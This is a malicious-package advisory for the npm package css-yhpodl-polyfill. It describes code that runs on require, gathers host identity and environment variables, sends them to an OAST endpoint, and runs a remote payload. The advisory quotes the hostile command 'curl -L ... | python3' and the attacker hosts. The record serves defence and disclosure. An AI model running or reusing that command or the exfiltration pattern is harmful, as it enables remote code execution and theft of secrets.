mal-2026-17578
Vulnerability from ossf_malicious_packages
-= Per source details. Do not edit below this line.=-
Source: amazon-inspector (5936fc65b4eba7b461c0eef7b66dfeecdc2da412f54fd667873e3e6950b0a857)
css-yhpodl-polyfill ships thunderboltRegistry.js which, as an IIFE executed on require, runs shell reconnaissance (id, whoami, env, ifconfig/ip addr, hostname) via child_process.execSync and sends the collected host identity and full environment variables via GET to the hardcoded Burp Collaborator OAST endpoint https://unl9pgk6ei4uf80n5tf4iktspjvbuzkn9.oastify.com/. The same file executes curl -L https://appsecc.com/py | python3, piping an attacker-controlled remote Python payload into python3 for arbitrary code execution on the installer host. The package name and exported identifiers (thunderboltRegistry, siteAssetsRegistry, documentManagementRegistry, editorRegistry, corvidRegistry) impersonate Wix's internal thunderbolt namespace, and registry-manifest.min.json references parastorage.com (Wix CDN) — the shape of a targeted dependency-confusion attack against the Wix engineering build pipeline. Installing or requiring this package exfiltrates environment secrets and grants remote code execution to the attacker.
- CWE-506 - The product contains code that appears to be malicious in nature.
{
"affected": [
{
"database_specific": {
"cwes": [
{
"cweId": "CWE-506",
"description": "The product contains code that appears to be malicious in nature.",
"name": "Embedded Malicious Code"
}
],
"indicators": {
"evidence_files": [
{
"path": "thunderboltRegistry.js",
"sha256": "098fac4f87d662808d1fcb744c79416ac42dd1ae997a1f96a998f2f3b46ce699",
"tlsh": "e07131b5b99df02166c33438db7f5049b4bb86672c6caee0740899b01f7585c01ba6f4"
}
],
"package_integrity": [
{
"filename": "css-yhpodl-polyfill-1.0.0.tgz",
"hashes": {
"sha1": "debbd9cf7fd89ebc1b3427cbf2fc359987d4894d",
"sha512_sri": "sha512-oswywbFoijkgGvyOFTgnks8QB92LFOk+2erb5YFiB0mPjrB8hxhT9fQOTsZvQYxjUjBmfRlNAe3+loIbsXqPRA=="
}
}
]
}
},
"package": {
"ecosystem": "npm",
"name": "css-yhpodl-polyfill"
},
"versions": [
"1.0.0"
]
}
],
"credits": [
{
"contact": [
"inspector-research@amazon.com"
],
"name": "Amazon Inspector",
"type": "FINDER"
}
],
"database_specific": {
"malicious-packages-origins": [
{
"id": "IN-MAL-2026-021075",
"import_time": "2026-10-05T16:22:56.749263298Z",
"modified_time": "2026-10-05T16:14:05Z",
"sha256": "5936fc65b4eba7b461c0eef7b66dfeecdc2da412f54fd667873e3e6950b0a857",
"source": "amazon-inspector",
"versions": [
"1.0.0"
]
}
]
},
"details": "\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (5936fc65b4eba7b461c0eef7b66dfeecdc2da412f54fd667873e3e6950b0a857)\ncss-yhpodl-polyfill ships thunderboltRegistry.js which, as an IIFE executed on require, runs shell reconnaissance (`id`, `whoami`, `env`, `ifconfig`/`ip addr`, hostname) via child_process.execSync and sends the collected host identity and full environment variables via GET to the hardcoded Burp Collaborator OAST endpoint https://unl9pgk6ei4uf80n5tf4iktspjvbuzkn9.oastify.com/. The same file executes `curl -L https://appsecc.com/py | python3`, piping an attacker-controlled remote Python payload into python3 for arbitrary code execution on the installer host. The package name and exported identifiers (thunderboltRegistry, siteAssetsRegistry, documentManagementRegistry, editorRegistry, corvidRegistry) impersonate Wix\u0027s internal thunderbolt namespace, and registry-manifest.min.json references parastorage.com (Wix CDN) \u2014 the shape of a targeted dependency-confusion attack against the Wix engineering build pipeline. Installing or requiring this package exfiltrates environment secrets and grants remote code execution to the attacker.\n",
"id": "MAL-2026-17578",
"modified": "2026-10-05T16:14:05Z",
"published": "2026-10-05T16:14:05Z",
"references": [
{
"type": "PACKAGE",
"url": "https://www.npmjs.com/package/css-yhpodl-polyfill/v/1.0.0"
}
],
"schema_version": "1.7.4",
"summary": "Malicious code in css-yhpodl-polyfill (npm)"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.